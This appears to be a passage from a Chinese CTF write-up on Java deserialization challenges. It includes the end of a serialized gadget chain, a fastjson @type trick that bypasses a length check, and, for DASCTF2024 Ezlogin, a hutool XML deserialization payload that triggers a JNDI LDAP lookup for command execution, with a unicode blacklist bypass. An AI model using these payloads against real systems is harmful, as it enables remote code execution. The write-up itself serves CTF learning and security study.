(Vector) getFieldValue(undoManager, "edits" ); vector.add(jsonArray); setValue(eventListenerList, "listenerList" , new Object []{InternalError.class, undoManager}); HashMap hashMap = new HashMap (); hashMap.put(templates,eventListenerList); setValue(a, "info" , hashMap); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(a); objectOutputStream.close(); String base64Encoded = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()); System.out.println(base64Encoded); deserialize(base64Encoded); } }
玛德EventlistenerList真好用,只要不ban基本原生链通杀了。
但这道题要打进去还要bypass一个东西:
1 map.size() != jsonObject.length()
按道理来说,你直接POST传参,这俩是一样的:
那咋办呢?
想到了fastjson的@type
。
因为fastjson会默认@type
作为键的后面的值拿去反序列化,虽然这里我们欧阳学长也跟了一下发现@type
被ban了,但是这里只是用去绕这个判断,这里fastjson就会只认data的键值对,所以长度为1,但map.size()=2。
记录一个小插曲:开始赵哥给出这个玩意的时候我先去试了试发现失败了,后面才发现是java版本报的错,玛德前面用java17忘了换回来开的jar包,有点招笑了。。。。
放docker也一样,随便通:
DASCTF2024-0rays-Ezlogin 其实非常简单的一道打readObjectXML的题目,而且根据这个hutool版本是5.8.11就能找到网上现成的CVE-POC:漏洞深度分析|CVE-2023-24162 hutool XML反序列化漏洞_cve-2023” 分析-CSDN博客 。
而且依赖中有Jackson2.13,可以打这个Jackson的反序列化漏洞。但是问题在于,最后你要绕这个长度限制,比赛时也是0解,应该都是卡在了这里。
漏洞点在这里:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 public static User login (String username, String password) throws Exception { File userFile = new File (USER_DIR, username + ".xml" ); if (!userFile.exists()) { return null ; } else { User user = readUser(userFile); if (user != null && user.getPassword().equals(password)) { login_in = true ; return user; } else { return null ; } } }private static User readUser (File userFile) throws Exception { String content = FileUtil.readString(userFile, "UTF-8" ); int length = content.length(); if (checkSyntax(userFile) && !content.contains("java." ) && !content.contains("springframework." ) && !content.contains("hutool." ) && length <= maxLength) { System.out.println(maxLength); return (User)XmlUtil.readObjectFromXml(userFile); } else { System.out.println(maxLength); System.out.printf("Unusual File Detected : %s\n" , userFile.getName()); return null ; } }
登录可以触发readObjectFromXml
。
最后出题人给出的解释是,用editPass接口的replace逻辑漏洞修改xml固定部分,注释代码并使文件长度符合普通用户xml,以同样逻辑递归注入长度尽量短的xml反序列化payload打JNDI。
最后极限长度形如:
1 2 3 4 5 6 7 8 9 10 <java > <object class ="javax.naming.InitialContext" > <void method ="lookup" > <string > ldap://127.0.0.1:1389/Deserialize/Jackson/Command/calc</string > </void > </object > </java >
黑名单直接用unicode编码绕过一下就可以了,改成这种:
1 <object class ="j avax.naming.InitialContext" >
用的是X1师傅的JNDIMap工具,挺好使的,省了写Gadget的工夫。
本地通了,但是远程要一个个改密码太烦了,就不去打了偷个懒hh。
(未完待续….)